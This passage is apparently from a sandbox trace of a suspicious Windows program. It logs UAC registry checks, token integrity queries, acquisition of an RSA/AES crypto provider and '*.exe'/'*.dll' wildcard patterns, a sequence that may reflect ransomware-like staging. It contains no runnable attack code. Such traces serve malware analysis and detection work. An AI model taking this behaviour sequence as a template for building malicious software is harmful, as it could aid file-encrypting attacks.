RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d1f8) returned 1 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c240) returned 1 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d1e8) returned 1 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d208) returned 1 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c168) returned 1 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d218) returned 1 [0038.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1b0) returned 1 [0038.241] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.241] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x94c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x94c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.241] RegCloseKey (hKey=0x34) returned 0x0 [0038.241] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x34) returned 1 [0038.241] GetTokenInformation (in: TokenHandle=0x34, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0038.241] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0x90) returned 1 [0038.242] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0038.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.242] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x94c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x94c5a0, ReturnLength=0x18fbfc) returned 1 [0038.242] GetSidSubAuthorityCount (pSid=0x94c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x94c5a9 [0038.242] GetSidSubAuthority (pSid=0x94c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x94c5b0 [0038.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.242] NtClose (Handle=0x90) returned 0x0 [0038.242] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0038.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6c) returned 0x94b860 [0038.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.242] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x90 [0038.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c480 [0038.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c438 [0038.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c558 [0038.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c510 [0038.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5000) returned 0x9d0048 [0038.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c4c8 [0038.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c4c8) returned 1 [0038.243] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x2dd990) returned 1 [0038.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d0048) returned 1 [0038.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94b8d8 [0038.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94b960 [0038.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c4c8 [0038.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94b9e8 [0038.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ba70 [0038.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c3f0 [0038.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94baf8 [0038.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c3a8 [0038.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5000) returned 0x9d0048 [0038.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c360 [0038.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c360) returned 1 [0038.257] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0038.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d0048) returned 1 [0038.265] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2dad78, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0038.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c360 [0038.265] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xdc [0038.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c360) returned 1 [0038.265] GetLastError () returned 0x0 [0038.266] LocalFree (hMem=0x2dad78) returned 0x0 [0038.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c360 [0038.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5000) returned 0x9d0048 [0038.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c318 [0038.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c318) returned 1 [0038.266] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0038.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d0048) returned 1 [0038.266] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2dad78, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0038.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c318 [0038.266] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe0 [0038.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c318) returned 1 [0038.267] GetLastError () returned 0x0 [0038.267] LocalFree (hMem=0x2dad78) returned 0x0 [0038.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c318 [0038.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5000) returned 0x9d0048 [0038.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c2d0 [0038.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c2d0) returned 1 [0038.267] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0038.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d0048) returned 1 [0038.267] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2dad78, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0038.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c2d0 [0038.268] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe4 [0038.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c2d0) returned 1 [0038.268] GetLastError () returned 0x0 [0038.268] LocalFree (hMem=0x2dad78) returned 0x0 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2800) returned 0x9d0048 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bb80 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c2d0 [0038.268] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2800) returned 0x9d2850 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2d8 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1f8) returned 1 [0038.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2d8) returned 1 [0038.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2850) returned 1 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2800) returned 0x9d2850 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2d8 [0038.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2c8 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d600 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2b8 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1b0 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2a8 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c168 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1f8) returned 1 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2d8) returned 1 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2c8) returned 1 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2c8 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2d8 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1b0) returned 1 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2b8) returned 1 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c168) returned 1 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2a8) returned 1 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d600) returned 1 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d600 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2a8 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c168 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2b8 [0038.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1b0 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2c8) returned 1 [0038.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1f8) returned 1 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2d8) returned 1 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2d8 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2c8 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c168) returned 1 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2a8) returned 1 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1b0) returned 1 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2b8) returned 1 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d600) returned 1 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2850) returned 1 [0038.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94d9d0 [0038.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c1f8, cbMultiByte=5, lpWideCharStr=0x94d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94da58 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d9d0) returned 1 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d600 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2b8 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94d9d0 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94da58) returned 1 [0038.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94da58 [0038.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c288, cbMultiByte=5, lpWideCharStr=0x94da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dae0 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94da58) returned 1 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2a8 [0038.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94da58 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dae0) returned 1 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1f8) returned 1 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2d8) returned 1 [0038.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2c8) returned 1 [0038.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2800) returned 0x9d2850 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2c8 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2d8 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1b0 [0038.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d298 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c168 [0038.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d288 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x20) returned 0x94bc08 [0038.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d278 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c240 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d268 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d258 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x20) returned 0x9d5058 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d248 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5e8 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d238 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c630 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d228 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c678 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d218 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c6c0 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d208 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c708 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d1e8 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c750 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d1f8 [0038.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c798 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1f8) returned 1 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2c8) returned 1 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1b0) returned 1 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2d8) returned 1 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c168) returned 1 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d298) returned 1 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d288) returned 1 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c240) returned 1 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d278) returned 1 [0038.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d268) returned 1 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d258) returned 1 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bc08) returned 1 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.273] 